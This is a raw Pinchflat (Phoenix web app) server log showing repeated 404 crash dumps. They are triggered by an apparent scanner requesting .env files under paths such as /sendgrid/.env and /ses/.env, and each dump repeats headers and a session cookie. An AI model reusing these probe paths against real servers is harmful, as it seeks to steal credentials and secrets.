%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/campaign/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 162, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /campaign/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/campaign/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 162, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.097 [info] GET /newsletter/.env 02:10:20.097 [debug] QUERY OK source="settings" db=0.2ms idle=141.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.097 [debug] QUERY OK source="settings" db=0.0ms idle=135.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.098 [error] #PID<0.3467.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 163) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /newsletter/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /newsletter/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/newsletter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 163, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3467.0>, params: %{}, path_info: ["newsletter", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/newsletter/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6z3rrSXYfJgAASiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/newsletter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 163, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /newsletter/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/newsletter/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 163, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:20.153 [info] GET /ses/.env 02:10:20.154 [debug] QUERY OK source="settings" db=0.5ms idle=191.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.154 [debug] QUERY OK source="settings" db=0.2ms idle=119.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.154 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.155 [error] #PID<0.3468.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 164) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /ses/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ses/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ses/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 164, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3468.0>, params: %{}, path_info: ["ses", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/ses/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk60FBpH0buJ4AASjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ses/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 164, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ses/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ses/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 164, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:20.216 [info] GET /sendgrid/.env 02:10:20.217 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=181.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.218 [debug] QUERY OK source="settings" db=0.2ms idle=120.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.218 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.218 [error] #PID<0.3469.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 165) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sendgrid/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 165, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3469.0>, params: %{}, path_info: ["sendgrid", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/sendgrid/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk60UJe-5iGQ4AASkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 165, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 165, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.285 [info] GET /sparkpost/.env 02:10:20.286 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=187.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS 